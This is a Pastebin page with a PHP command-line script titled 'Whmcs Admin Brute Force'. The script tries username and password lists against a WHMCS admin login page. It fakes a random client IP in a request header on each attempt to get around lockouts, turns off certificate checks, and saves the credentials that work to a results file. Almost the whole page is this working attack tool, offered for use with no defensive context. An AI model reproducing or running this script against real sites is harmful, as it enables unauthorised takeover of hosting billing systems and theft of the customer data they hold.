Advertisement
Guest User

Whmcs Admin Brute Force

a guest
Jan 22nd, 2014
911
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.97 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ini_set('memory_limit', '64M');
  5.  
  6. echo "
  7.                _____   _    _   _____   _____  _______
  8.               /  ___| | |  | | /  _  \ /  ___/|__   __|
  9.               | |  _  | |__| | | | | | | |___    | |
  10.               | | | | |  __  | | | | | \___  \   | |
  11.               | |_| | | |  | | | |_| |  ___| |   | |
  12.               \_____/ |_|  |_| \_____/ /_____/   |_|
  13.            ____    _       _____   _____   _____  ___    ___
  14.           |  _ \  | |     /  _  \ /  _  \ |  _  \ \  \  /  /
  15.           | |_) | | |     | | | | | | | | | | |  \ \  \/  /
  16.           |  _ (  | |     | | | | | | | | | | |  |  \    /
  17.           | |_) | | |___  | |_| | | |_| | | |_|  /   |  |
  18.           |____/  |_____| \_____/ \_____/ |_____/    |__|
  19.  
  20. [*]-----------------------------------------------------------------------[*]
  21. [+] Tool                 : Whmcs Admin Brute Force
  22. [+] Version              : 1.0
  23. [+] Programed By         : G-B
  24. [+] Email                : g22b@hotmail.com
  25. [+] Facebook             : /G22Bh
  26. [*]-----------------------------------------------------------------------[*]
  27.  
  28. ";
  29. $target = stdin("Target (http://target.com/whmcs/admin)","url");
  30. $userlist = stdin("Usernames List","file");
  31. $passlist = stdin("Passwords List","file");
  32.  
  33. $fp = fopen("Result.txt","a");
  34. $ips = array();
  35.  
  36. foreach(explode("\n",$userlist) as $user){
  37.     $user = trim($user);
  38.     if($user == "") continue;
  39.     foreach(explode("\n",$passlist) as $pass){
  40.         $pass = trim($pass);
  41.         if($pass == "") continue;
  42.         echo "Try $user $pass : ";
  43.  
  44.         while (true) {
  45.             $ip = long2ip(rand(11111,99999999999));
  46.             if(!in_array($ip,$ips)&&check_ip($ip)){
  47.                 $ips[] = $ip;
  48.                 break;
  49.             }  
  50.         }
  51.  
  52.         if(login($target,$user,$pass)){
  53.             echo "Success.\n";
  54.             fwrite($fp,"Target : $target\r\nUsername : $user\r\nPassword : $pass\r\n===================================\r\n");
  55.             break;
  56.         }else{
  57.             echo "Error.\n";
  58.         }
  59.     }
  60. }
  61. echo "\n\nDone. Check Result.txt from result.\n";
  62.  
  63. fclose($fp);
  64. function login($url,$user,$pass){
  65.     global $ip;
  66.  
  67.     $post = array('username'=>$user,'password'=>$pass,'rememberme'=>'on');
  68.  
  69.     $ch = curl_init();
  70.     curl_setopt($ch,CURLOPT_URL,"$url/dologin.php");
  71.     curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);
  72.     curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
  73.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  74.     curl_setopt($ch,CURLOPT_HTTPHEADER,array("CLIENT-IP: $ip"));
  75.     curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; rv:17.0) Gecko/20100101 Firefox/17.0');
  76.     curl_setopt($ch,CURLOPT_POST,true);
  77.     curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
  78.     curl_setopt($ch,CURLOPT_HEADER,true);
  79.     curl_setopt($ch,CURLOPT_REFERER,"$url/login.php");
  80.     $return = curl_exec($ch);
  81.     curl_close($ch);
  82.     //echo $return;
  83.     if(preg_match('/Location\: index\.php/',$return)){
  84.         return true;
  85.     }else{
  86.         return false;
  87.     }
  88. }
  89. function check_ip($ip) {
  90.     if ((!empty($ip) && ip2long($ip) != 0 - 1) && ip2long($ip) != false) {
  91.         $private_ips = array(array("0.0.0.0", "2.255.255.255"), array("10.0.0.0", "10.255.255.255"), array("127.0.0.0", "127.255.255.255"), array("169.254.0.0", "169.254.255.255"), array("172.16.0.0", "172.31.255.255"), array("192.0.2.0", "192.0.2.255"), array("192.168.0.0", "192.168.255.255"), array("255.255.255.0", "255.255.255.255"));
  92.         foreach ($private_ips as $r) {
  93.             $min = ip2long($r[0]);
  94.             $max = ip2long($r[1]);
  95.  
  96.             if ($min <= ip2long($ip) && ip2long($ip) <= $max) {
  97.                 return false;
  98.                 continue;
  99.             }
  100.         }
  101.  
  102.         return true;
  103.     }
  104.  
  105.     return false;
  106. }
  107. function stdin($mess,$cond){
  108.     while(true){
  109.         echo "$mess -> ";
  110.         $value = trim(fgets(STDIN));
  111.  
  112.         if($cond=="file" && $file = @file_get_contents($value)){
  113.             return $file;
  114.             break;
  115.         }elseif($cond=="url" && filter_var($value,FILTER_VALIDATE_URL)){
  116.             return $value;
  117.             break;
  118.         }elseif($cond=="email" && filter_var($value,FILTER_VALIDATE_EMAIL)){
  119.             return $value;
  120.             break;
  121.         }else{
  122.             echo "Invalid $cond. Try again.\n\n";
  123.         }
  124.     }
  125. }
  126. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement